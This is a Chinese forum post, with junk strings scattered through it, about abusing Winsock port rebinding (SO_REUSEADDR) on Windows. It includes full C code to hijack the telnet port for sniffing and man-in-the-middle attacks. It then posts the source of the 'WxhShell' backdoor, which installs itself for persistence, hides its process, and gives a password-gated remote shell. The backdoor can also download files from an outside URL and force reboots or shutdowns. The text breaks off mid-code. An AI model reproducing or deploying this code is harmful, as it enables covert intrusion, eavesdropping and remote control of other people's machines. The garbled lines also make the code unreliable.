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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4G$|Rx[{,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^~G8?]w  
y9_K, g  
  saddr.sin_family = AF_INET; A3|Dz&@:  
D$bIo "  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F_;vO%}  
%%NlTE8*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -sw  .  
'f[T&o&L/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &$]v h  
C!Rs^/  
  这意味着什么?意味着可以进行如下的攻击: 30XR 82P/  
sA'6ty  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 --HF8_8;'  
c.,2GwW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p$h4u_  
_h X]%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;cPy1  
>)spqu]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !OA]s%u  
}&n<uUDH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BB~OqZIP  
D&}3$ 7>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Uc_'(IyO  
}"=AG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "NgxkbDEbG  
r9 ui|>U"  
  #include 3E>frR\!I  
  #include *Txl+zTY  
  #include !eEHmRgg4  
  #include    |`lzfe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s}jHl8  
  int main() x9;gT&@H  
  { EGZb7:Y?  
  WORD wVersionRequested; O9EKRt  
  DWORD ret; fcNL$U&-,i  
  WSADATA wsaData; .2>p3|F  
  BOOL val; >p.O0G gg  
  SOCKADDR_IN saddr; uoHNn7W  
  SOCKADDR_IN scaddr; %,D<O,N  
  int err; &jsVw)Ue  
  SOCKET s; 7PANtCFb&  
  SOCKET sc; 4g : >[q  
  int caddsize; GlbySD@  
  HANDLE mt; dHK`eS$sb  
  DWORD tid;   wvbPnf^y  
  wVersionRequested = MAKEWORD( 2, 2 ); e XfZ5(na  
  err = WSAStartup( wVersionRequested, &wsaData ); 7VMvF/ap]u  
  if ( err != 0 ) { u86"Y ^d#  
  printf("error!WSAStartup failed!\n"); xKQ+{"?-^g  
  return -1; {_S}H1,  
  } gF$V$cU  
  saddr.sin_family = AF_INET; A j2OkD  
   ~ECD`N<YF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r6&5 4f  
,Fi>p0bz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P?t" jKp'  
  saddr.sin_port = htons(23); B x (uRj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?Rj~f{%g  
  { hir4ZO%Zt  
  printf("error!socket failed!\n"); \T <$9aNb  
  return -1; 2I&o69x?  
  } >y[oP!-|P  
  val = TRUE; 9'{}!-(xR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l2l(_$@3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q|8{@EMT  
  { M-[ $L XR  
  printf("error!setsockopt failed!\n"); Zf'TJ `S  
  return -1; o>7ts&rk  
  } i K12 pw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S(uf(q|{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'UMXq~RMe  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wg0 \_@3  
rMUT_^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xf b]b2  
  { 4dhvFGlW  
  ret=GetLastError(); `67[O4$<  
  printf("error!bind failed!\n"); 6IWxPt ~  
  return -1; {%IExPJ  
  } r=6v`)Qr  
  listen(s,2); /)dFK~  
  while(1) >2]JXLq  
  { 'A:x/iv}^  
  caddsize = sizeof(scaddr); DqX{'jj  
  //接受连接请求 h=(DX5:A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F0:A]`|  
  if(sc!=INVALID_SOCKET) 'k4E4OB  
  { cOPB2\,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xj[(P$,P  
  if(mt==NULL) xia|+  
  { ap{2$k ,  
  printf("Thread Creat Failed!\n"); O9g{+e`  
  break; :%sXO  
  } FIbp"~  
  } TpHfS]W-P  
  CloseHandle(mt); s%2v3eb  
  } L3n_ 5|  
  closesocket(s); L5qwWvbT  
  WSACleanup(); -.T&(&>^  
  return 0; %/YcL6o(  
  }   j%y$_9a7  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6$ Gep  
  { }J7zTj~{  
  SOCKET ss = (SOCKET)lpParam; <x&%~6j  
  SOCKET sc; Tp0bS  
  unsigned char buf[4096]; ,}:G\u*Fu  
  SOCKADDR_IN saddr; MW PvR|Q  
  long num; T}4/0yR2  
  DWORD val; F35#dIs`&  
  DWORD ret; kdn'6>\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S6fL>'uQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ak:ibV  
  saddr.sin_family = AF_INET; z^GDJddG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vmLxkjUm#  
  saddr.sin_port = htons(23); H6&J;yT}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5ux`U{`m  
  { z8 [yt282  
  printf("error!socket failed!\n"); 2KQoy;  
  return -1; cZ<A0  
  } 6<'21  
  val = 100; 8P"_#M?!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h68]=KyK  
  { -CRQ&#p1]  
  ret = GetLastError(); gq"gUaz  
  return -1; Y;)dct  
  } a\%xB >LX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &R$CZU  
  { @fa@s-wb  
  ret = GetLastError(); 4T?h  
  return -1; sYdRh?Hq  
  } |=EZ1<KzD  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {O+Kw<d  
  { JMVNmq&0  
  printf("error!socket connect failed!\n"); NHl|x4Zpw  
  closesocket(sc); =b[_@zq]  
  closesocket(ss); o}<4*qlI  
  return -1; !xwG% {_  
  } ]XTu+T.aT  
  while(1) Z( 9 u<  
  { 8HZs>l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lhi_6&&[8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fPR$kc h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W$'R} L  
  num = recv(ss,buf,4096,0); nwN@DqO  
  if(num>0) /"?HZ% W  
  send(sc,buf,num,0); oX4q`rt  
  else if(num==0) Z(ZiFPx2Z  
  break; '}rRzD:  
  num = recv(sc,buf,4096,0); l9Q(xuhv  
  if(num>0) ay %KE=*v  
  send(ss,buf,num,0); 1-Po Z[p-R  
  else if(num==0) $ -c!W!H  
  break; n=,\;3Y=  
  } !sRngXCXk?  
  closesocket(ss); FVKW9"AyW  
  closesocket(sc); 8&Myva  
  return 0 ; &bhq`>  
  } 9m-)Xdoy  
8v7 1e>  
93<:RV  
========================================================== 5o/&T"]@  
1pCieTz!PN  
下边附上一个代码,,WXhSHELL 6O@J7P  
jA(>sz  
========================================================== .c#y%S  
}'OHE(s  
#include "stdafx.h" VqE~c  
} %'bullT  
#include <stdio.h> k"N(o(  
#include <string.h> a,o_`s<  
#include <windows.h> g!i45-n3gt  
#include <winsock2.h> 0I{gJSK.,  
#include <winsvc.h> xP=/N!,#  
#include <urlmon.h> lKkN_ (/j  
$O{duJU  
#pragma comment (lib, "Ws2_32.lib") s!9dQ.  
#pragma comment (lib, "urlmon.lib") |8bq>01~  
fgj^bcp-  
#define MAX_USER   100 // 最大客户端连接数 '<R>E:5  
#define BUF_SOCK   200 // sock buffer {} Bf   
#define KEY_BUFF   255 // 输入 buffer uHIiH@ S  
KIeT!kmDl  
#define REBOOT     0   // 重启 5*\\J&H  
#define SHUTDOWN   1   // 关机 b7/AnSR~Jt  
A!vCb 8(TX  
#define DEF_PORT   5000 // 监听端口 +p8BGNW,  
P"lBB8\eku  
#define REG_LEN     16   // 注册表键长度 ;Efcw[<  
#define SVC_LEN     80   // NT服务名长度 F3oQ^;xB  
+f0~D(d!_  
// 从dll定义API +x]9+D&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lc6i KFyG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h8 G5GRD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3@n>*7/E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +m}Pmi$  
__@zTSVb  
// wxhshell配置信息 <} jPXEB"  
struct WSCFG { =H8 xSJLh  
  int ws_port;         // 监听端口 4gSH(*}  
  char ws_passstr[REG_LEN]; // 口令 `imWc "'Ej  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0GDvwy D1  
  char ws_regname[REG_LEN]; // 注册表键名 muW!xY  
  char ws_svcname[REG_LEN]; // 服务名 Ro=AADv@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T<-=nX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?4CNkk=v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cv)/7vyB8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (]*H[)F/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q4UA]+-*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =N);v\ Q$!  
O9(r{Vu7u  
}; `Y40w#?uW  
GFk1/ F  
// default Wxhshell configuration zciCcrJ  
struct WSCFG wscfg={DEF_PORT, .bD_R7Bi6  
    "xuhuanlingzhe", U Q@7n1  
    1, +fKtG]$  
    "Wxhshell", )R_E|@"  
    "Wxhshell", K~RoUE<3[  
            "WxhShell Service", /?/#B `  
    "Wrsky Windows CmdShell Service", CnN9!~]"  
    "Please Input Your Password: ", U"f ??y%)  
  1, S<nq8Ebmw  
  "http://www.wrsky.com/wxhshell.exe", mqfO4"lt  
  "Wxhshell.exe" c~ <1':  
    }; $[@0^IJq=K  
hIJ)MZU|  
// 消息定义模块 ~^)^q8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `A/j1UWJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wzjU,Mw e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /cFzotr"9  
char *msg_ws_ext="\n\rExit."; Fk=}iB#(  
char *msg_ws_end="\n\rQuit."; .w6eJ4 ]  
char *msg_ws_boot="\n\rReboot..."; M!M!Ni  
char *msg_ws_poff="\n\rShutdown..."; E3/:.t  
char *msg_ws_down="\n\rSave to "; Dbx~n#nG  
<uP^-bv;(  
char *msg_ws_err="\n\rErr!"; 5wC* ?>/  
char *msg_ws_ok="\n\rOK!"; ]>i~6!@  
jx_4B%kzq  
char ExeFile[MAX_PATH]; =wi*Nd7L  
int nUser = 0; *oI*-C  
HANDLE handles[MAX_USER]; bVr*h2 p  
int OsIsNt; mT*{-n_Zs  
1U\$iy8}  
SERVICE_STATUS       serviceStatus; _L.n,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; % 0:p)Z0  
7yI @"c#O  
// 函数声明 ps:f=6m2  
int Install(void); *B)yy[8j+  
int Uninstall(void); ;P?q2jI  
int DownloadFile(char *sURL, SOCKET wsh); FrTg4  
int Boot(int flag); 0m9ZQ O  
void HideProc(void); bzmr"/#D3  
int GetOsVer(void); _'x8M  
int Wxhshell(SOCKET wsl); ^b?2N/m@  
void TalkWithClient(void *cs); 2 4\g bv<  
int CmdShell(SOCKET sock); [IM%b~j(^  
int StartFromService(void); O,V9R rG  
int StartWxhshell(LPSTR lpCmdLine); #6S75{rnW"  
o5Rz%k#h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0>6DSQq~t(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \[wCp*;1}  
b1^n KB  
// 数据结构和表定义 8_\W/I!7b  
SERVICE_TABLE_ENTRY DispatchTable[] = |E/L.gdP7  
{ 7_KhV  
{wscfg.ws_svcname, NTServiceMain}, %NHYW\sKX  
{NULL, NULL} q$ghLGz  
}; ES:!Vx9t0|  
;@4H5p  
// 自我安装 GtI6[ :1t  
int Install(void) 6DSH`-;  
{ {6vEEU  
  char svExeFile[MAX_PATH]; |@VF.)_  
  HKEY key; bNzqls$  
  strcpy(svExeFile,ExeFile); }3/~x  
J>S3sP  
// 如果是win9x系统,修改注册表设为自启动 %.x@gi q  
if(!OsIsNt) { 9|:^k.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U_z2J(e~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T>]sQPg  
  RegCloseKey(key); t)1phg4H)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JSMPyj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h%#_~IA:|  
  RegCloseKey(key); dXu{p  
  return 0; CVKnTEs  
    } E%k7wM {  
  } U :9=3A2$x  
} ?p8Qx\%*  
else { )GB`*M[   
1IA5.@G:  
// 如果是NT以上系统,安装为系统服务 &,W$-[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (7q^FtjA#  
if (schSCManager!=0) ,I*X) (  
{ m^Lj+=Z"  
  SC_HANDLE schService = CreateService 6517Km 4-  
  ( M?6;|-HH  
  schSCManager, x(r+P9f\<  
  wscfg.ws_svcname, cz.3|Lby  
  wscfg.ws_svcdisp, 5h_5Z~  
  SERVICE_ALL_ACCESS, 6n w&$I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,a(O`##Bn  
  SERVICE_AUTO_START, Wpm9`K  
  SERVICE_ERROR_NORMAL, H*!5e0~rR  
  svExeFile, N7.  @FK  
  NULL, ;lfWu U%R  
  NULL, 0o/B{|rv  
  NULL, |+ 7f2C  
  NULL, Q)6va}2ai  
  NULL K r3];(w{  
  ); CI^|k/  
  if (schService!=0) B\<ydN  
  { a?<?5   
  CloseServiceHandle(schService); |_pl;&;:  
  CloseServiceHandle(schSCManager); ;~tsF.=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xUj2 ]Q>R+  
  strcat(svExeFile,wscfg.ws_svcname); N~#D\X^t.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~Yl$I,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;h+q  
  RegCloseKey(key); :0Te4UE;P7  
  return 0; U )Zt-og  
    } ]tVl{" .{  
  } 5Hle-FDn9  
  CloseServiceHandle(schSCManager); 5RhF+p4  
} =P_fv  
} F3 f@9@b   
p?Sl}A@`  
return 1; Zc\S$+PM  
} t"YIq/08  
d^aNR Lv  
// 自我卸载 Y+|PY? ~  
int Uninstall(void) 0 BC`iql5  
{ zzf7S%1I  
  HKEY key; swZpWC  
5#u.pu  
if(!OsIsNt) { 3X'WR]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eY3=|RR  
  RegDeleteValue(key,wscfg.ws_regname); |!b9b(_j9  
  RegCloseKey(key); ?M"HXu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IQ{?_'  
  RegDeleteValue(key,wscfg.ws_regname); UX}*X`{  
  RegCloseKey(key); 3}4#I_<$F@  
  return 0; @&:VKpu\  
  } uX0 Bp8P  
} d^SE)/j  
} Qp69Sk@H{  
else { Y\8+}g;KR  
\dNhzd#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "t+r+ipf])  
if (schSCManager!=0) N9*UMVU  
{ V_M@g;<o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MgnE-6_c  
  if (schService!=0) w a.f![  
  { |uQ[W17^N  
  if(DeleteService(schService)!=0) { ^Jtl;Q  
  CloseServiceHandle(schService); "`]'ZIx[R/  
  CloseServiceHandle(schSCManager); PN9^[X  
  return 0; Ut;'Gk  
  } z@`@I  
  CloseServiceHandle(schService); U$09p;~$Ww  
  } ;&`:|Hf*  
  CloseServiceHandle(schSCManager); >nNl^ yqW  
} T{;=#rG<  
} 5 ZUy:  
6 5"uD7;  
return 1; R\ q):,  
} {c?ymkK  
@YNGxg~*g  
// 从指定url下载文件 #fzw WP  
int DownloadFile(char *sURL, SOCKET wsh) 7<4xtK`+b  
{ ReqE?CeV  
  HRESULT hr; 8q*";>*  
char seps[]= "/"; <|Iyt[s  
char *token; 5%qH 7[dx  
char *file; \!7*(&yly  
char myURL[MAX_PATH]; 7uA\&/ ,  
char myFILE[MAX_PATH]; '{W3j^m7  
KT%{G8Y@M  
strcpy(myURL,sURL); x!`KhTu`_A  
  token=strtok(myURL,seps); >DS}#'N4l  
  while(token!=NULL) a'^0.1  
  { |P~q/Wff  
    file=token; 777rE[\@b  
  token=strtok(NULL,seps); EFv4=OWB  
  } :'ihE\j  
u m{e&5jk  
GetCurrentDirectory(MAX_PATH,myFILE); Xiw@  
strcat(myFILE, "\\"); 64b<0;~  
strcat(myFILE, file); m/" J s  
  send(wsh,myFILE,strlen(myFILE),0);  mc~`  
send(wsh,"...",3,0); s/PhXf\MN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fT x4vlI4  
  if(hr==S_OK) ] EV`dIk  
return 0; ~RCg.&[ou  
else M0 L-u  
return 1; 7>KQRLw  
[DL|Ht>  
} `M6YblnJZ  
k)Zn>  
// 系统电源模块 P_mi)@  
int Boot(int flag) T#Fn:6_=  
{ Yim#Pq&_  
  HANDLE hToken; _Z0\`kba+  
  TOKEN_PRIVILEGES tkp; K~$35c3M  
YVJ+' A=|  
  if(OsIsNt) { uYY=~o[ Tw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M(NH9EE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +yiU@K).0  
    tkp.PrivilegeCount = 1; [}@n*D$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7NeDs$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c0SX]4} G  
if(flag==REBOOT) { n'Bmz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z=[l.Af_  
  return 0; "TUPYFK9  
} |C|:i@c H  
else { a /QIJ*0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `{%-*f^  
  return 0; h2AGEg'g2[  
} 2>ys2:z  
  } #*\Ry/9Q  
  else { 4u7Cm  
if(flag==REBOOT) { *qbRP"#[$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ([1=>Jw"  
  return 0; aDXpkG0E  
} i{P%{hVb  
else { kO jEY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +fPNen4E  
  return 0; NuI T{3S  
}  w}"!l G  
} |E? ,xWN  
|c=d;+  
return 1; )4Bwt`VX  
} S'|lU@P Cl  
:82?'aR  
// win9x进程隐藏模块 sK#H4y+<  
void HideProc(void) hl*MUD,  
{ eS* *L 3  
;r%<2(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FF8WTuzB+  
  if ( hKernel != NULL ) hJ<:-u+yk}  
  { R !jhwY$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c 3}x)aQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cgzy0$8dj\  
    FreeLibrary(hKernel); L,O>6~9:^1  
  } ]X/O IfdWe  
vi^z5n  
return; >'ie!VW@  
} Pu1GCr(  
>y&[BB7S6  
// 获取操作系统版本 bJANZn|H  
int GetOsVer(void) H&w(]PDh  
{ 8 f|9W%jt  
  OSVERSIONINFO winfo; Z4=_k{*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +}&pVe\t  
  GetVersionEx(&winfo); t;h+Cf4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m=#aHF  
  return 1; ?`za-+<r<  
  else ZDW,7b% U  
  return 0; 3D{82*&  
} [kVpzpGr  
b?sA EU;  
// 客户端句柄模块 ZCj>MA  
int Wxhshell(SOCKET wsl) *oKgP8CF  
{ IvPA|8(  
  SOCKET wsh; B8`R(vu;  
  struct sockaddr_in client; @ysJt  
  DWORD myID; ;|Y2r^c  
22l|!B%o  
  while(nUser<MAX_USER) 2=i+L z^  
{ jn0t-":  
  int nSize=sizeof(client); |G[{{qZM5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pHq{S;R2G  
  if(wsh==INVALID_SOCKET) return 1; YhEiN. ~  
=c :lS&B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >l y&+3S  
if(handles[nUser]==0) !a.3OpQ  
  closesocket(wsh); W ]a7&S  
else FRb&@(;  
  nUser++; mvUVy1-c  
  } @hE7r-}]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kxcgOjrmI  
E!:.G+SEl  
  return 0; F! |TW6)gv  
} `HE>%=]b  
N )b|  
// 关闭 socket at_dmU2[7  
void CloseIt(SOCKET wsh) JrY"J]/  
{ 9{au leu R  
closesocket(wsh); BiVd ka  
nUser--; =e"H1^Ml  
ExitThread(0); gEcnn .(S  
} CD XB&%Sr  
-`<6=[QUO  
// 客户端请求句柄 V2WUM+`uT  
void TalkWithClient(void *cs) -MVNXAKnZ  
{ ; |E! |w  
^EnNbFI  
  SOCKET wsh=(SOCKET)cs; wFKuSd  
  char pwd[SVC_LEN]; >\^N\&  
  char cmd[KEY_BUFF]; Requ.?!fG;  
char chr[1]; u* #-7   
int i,j; GQEI f$  
Q' OuZKhA  
  while (nUser < MAX_USER) { RZcx4fL}x  
RPa?Nv?e  
if(wscfg.ws_passstr) { Z&?+&q r^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "<g?x`iz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j]cXLY  
  //ZeroMemory(pwd,KEY_BUFF); A8A:@-e8A  
      i=0; KT]J,b  
  while(i<SVC_LEN) { H| eD/6K  
N]O{T_5-0  
  // 设置超时 .:#_5K  
  fd_set FdRead;  0jip::x  
  struct timeval TimeOut; Q"l"p:n%n  
  FD_ZERO(&FdRead); I_jM-/3b  
  FD_SET(wsh,&FdRead); /)eNx  
  TimeOut.tv_sec=8; WF3DGqs_]  
  TimeOut.tv_usec=0; SNopAACf1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v e6N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ppi-skT  
q9g[+*9]$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RGx]DP$5G  
  pwd=chr[0]; I8pv:>EhC  
  if(chr[0]==0xd || chr[0]==0xa) { .f?qUg  
  pwd=0; L*SSv wSL  
  break; vUodp#s  
  } O9Jx%tolF%  
  i++; YokZar2a0  
    } H L}sqcp  
o[Wagg.%  
  // 如果是非法用户,关闭 socket G{&yzHAuae  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mo?t[]L   
} *'AS^2'  
]iE.fQ?;J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jx5[bUp4u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lN][xnP  
^R8U-V8:  
while(1) { ~_# Y,)S!z  
d =B@EyN  
  ZeroMemory(cmd,KEY_BUFF); J;Z>fAE7  
yccuTQvz  
      // 自动支持客户端 telnet标准   Wzf1-0t  
  j=0; f3%^-Uy*b  
  while(j<KEY_BUFF) { +UpMMh q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7am/X.  
  cmd[j]=chr[0]; >TQBRA;'  
  if(chr[0]==0xa || chr[0]==0xd) { GP7) m  
  cmd[j]=0; >TY5ZRB  
  break; vS24;:f  
  } "`$'tk[  
  j++; XYxm8ee"j  
    } 4/-))F&s  
"JQt#[9l  
  // 下载文件 r%m7YwXo  
  if(strstr(cmd,"http://")) { kS\.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4, *^QK  
  if(DownloadFile(cmd,wsh)) =|WV^0=S'%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3A}nNHpN  
  else j~,LoGuPh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EZwdx  
  } f2w=ln  
  else { C^\*|=*\  
X gx2  
    switch(cmd[0]) { ~y-vKCp|  
  y T1Qep  
  // 帮助 /i~^LITH  
  case '?': { P9tQS"Rs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /qz "I-a  
    break; |au qj2  
  } >kDdWgRQ  
  // 安装 5[j!\d}U  
  case 'i': { eV {FcJha  
    if(Install()) 4htSwK+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ==jw3_W  
    else &8_#hne_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R{OE{8;  
    break; :hhE=A>X  
    } jcv1z v.  
  // 卸载 BtNW5'^  
  case 'r': { v<J;S9u=  
    if(Uninstall())  1u S>{M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b]g&rwXYt  
    else t+4Y3*WeGF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YaJ{"'}  
    break; T m@1q!G  
    } 3}#XA+Z  
  // 显示 wxhshell 所在路径 b[[6X  
  case 'p': { ?lwQne8/  
    char svExeFile[MAX_PATH]; u0 oYb_Yv  
    strcpy(svExeFile,"\n\r"); 6nWx>R<  
      strcat(svExeFile,ExeFile); :rs\ydDUF  
        send(wsh,svExeFile,strlen(svExeFile),0); `j!2uRFe>  
    break; >K|GLP  
    } j_a~)o-p  
  // 重启 6 XOu~+7  
  case 'b': { 9M7(_E;)B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t{S{!SF4  
    if(Boot(REBOOT)) r(in]7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]20 "la5  
    else { >pH775I=  
    closesocket(wsh); `TlUJ]d)  
    ExitThread(0); 0i Z9a/v  
    } "O*W]e  
    break; %`\_l  
    } mv%:[+!  
  // 关机 ,pa&he  
  case 'd': { |Q)w3\S$  
